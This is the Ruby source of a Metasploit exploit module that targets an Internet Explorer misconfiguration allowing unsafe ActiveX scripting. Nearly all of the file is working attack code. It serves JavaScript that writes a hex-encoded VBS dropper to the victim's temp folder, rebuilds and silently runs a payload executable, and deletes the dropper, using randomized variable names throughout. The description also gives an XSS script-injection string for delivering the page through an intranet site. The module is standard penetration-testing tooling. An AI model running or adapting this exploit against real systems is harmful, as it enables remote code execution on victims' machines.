161 lines
5.8 KiB
Ruby
161 lines
5.8 KiB
Ruby
##
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#
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Internet Explorer Unsafe Scripting Misconfiguration',
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'Description' => %q{
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This exploit takes advantage of the "Initialize and script ActiveX controls not
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marked safe for scripting" setting within Internet Explorer. When this option is set,
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IE allows access to the WScript.Shell ActiveX control, which allows javascript to
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interact with the file system and run commands. This security flaw is not uncommon
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in corporate environments for the 'Intranet' or 'Trusted Site' zones. In order to
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save binary data to the file system, ADODB.Stream access is required, which in IE7
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will trigger a cross domain access violation. As such, we write the code to a .vbs
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file and execute it from there, where no such restrictions exist.
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When set via domain policy, the most common registry entry to modify is HKLM\
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Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201,
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which if set to '0' forces ActiveX controls not marked safe for scripting to be
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enabled for the Intranet zone.
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This module creates a javascript/html hybrid that will render correctly either
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via a direct GET http://msf-server/ or as a javascript include, such as in:
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http://intranet-server/xss.asp?id="><script%20src=http://10.10.10.10/ie_unsafe_script.js>
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</script>.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'natron'
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'MS', 'http://support.microsoft.com/kb/182569' ],
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[ 'blog', 'http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module.html' ],
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],
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'Payload' =>
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{
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'Space' => 2048,
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', { } ],
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],
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'DefaultOptions' =>
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{
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'HTTP::compression' => 'gzip'
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},
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'DefaultTarget' => 0))
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end
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def on_request_uri(cli, request)
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#print_status("Starting...");
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# Build out the HTML response page
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var_shellobj = rand_text_alpha(rand(5)+5);
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var_fsobj = rand_text_alpha(rand(5)+5);
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var_fsobj_file = rand_text_alpha(rand(5)+5);
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var_vbsname = rand_text_alpha(rand(5)+5);
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var_writedir = rand_text_alpha(rand(5)+5);
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var_exename = rand_text_alpha(rand(5)+5);
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var_origLoc = rand_text_alpha(rand(5)+5);
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var_byteArray = rand_text_alpha(rand(5)+5);
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var_stream = rand_text_alpha(rand(5)+5);
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var_writestream = rand_text_alpha(rand(5)+5);
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var_strmConv = rand_text_alpha(rand(5)+5);
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p = regenerate_payload(cli);
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print_status("Request received from #{cli.peerhost}:#{cli.peerport}...");
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exe = Msf::Util::EXE.to_win32pe(framework,p.encoded);
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#print_status("Building vbs file...");
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# Build the content that will end up in the .vbs file
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vbs_content = Rex::Text.to_hex(%Q|Dim #{var_origLoc}, s, #{var_byteArray}
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#{var_origLoc} = SetLocale(1033)
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|)
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print_status("Encoding payload into vbs/javascript/html...");
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# Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
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# for conversion with ADODB.Stream
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vbs_ary = []
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# The output of this loop needs to be as small as possible since it
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# gets repeated for every byte of the executable, ballooning it by a
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# factor of about 80k (the current size of the exe template). In its
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# current form, it's down to about 4MB on the wire
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exe.each_byte do |b|
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vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
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end
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vbs_content << vbs_ary.join("")
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# Continue with the rest of the vbs file;
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# Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
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# Then use ADODB.Stream again to write the binary to file.
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#print_status("Finishing vbs...");
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vbs_content << Rex::Text.to_hex(%Q|
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Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
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#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{var_exename}.exe"
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Set #{var_strmConv} = CreateObject("ADODB.Stream")
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#{var_strmConv}.Type = 2
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#{var_strmConv}.Charset = "x-ansi"
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#{var_strmConv}.Open
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#{var_strmConv}.WriteText s, 0
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#{var_strmConv}.Position = 0
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#{var_strmConv}.Type = 1
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#{var_strmConv}.SaveToFile #{var_writedir}, 2
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SetLocale(#{var_origLoc})|)
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# Encode the vbs_content
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#print_status("Hex encoded vbs_content: #{vbs_content}");
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# Build the javascript that will be served
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js_content = %Q|
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//<html><head></head><body><script>
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var #{var_shellobj} = new ActiveXObject("WScript.Shell");
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var #{var_fsobj} = new ActiveXObject("Scripting.FileSystemObject");
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var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
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var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);
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#{var_fsobj_file}.Write(unescape("#{vbs_content}"));
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#{var_fsobj_file}.Close();
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#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
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#{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{var_exename}.exe", 0, false);
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#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
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//</script></html>
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print_status("Sending exploit html/javascript to #{cli.peerhost}:#{cli.peerport}...");
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print_status("Exe will be #{var_exename}.exe and must be manually removed from the %TEMP% directory on the target.");
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# Transmit the response to the client
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send_response(cli, js_content, { 'Content-Type' => 'text/html' })
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# Handle the payload
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handler(cli)
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end
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end
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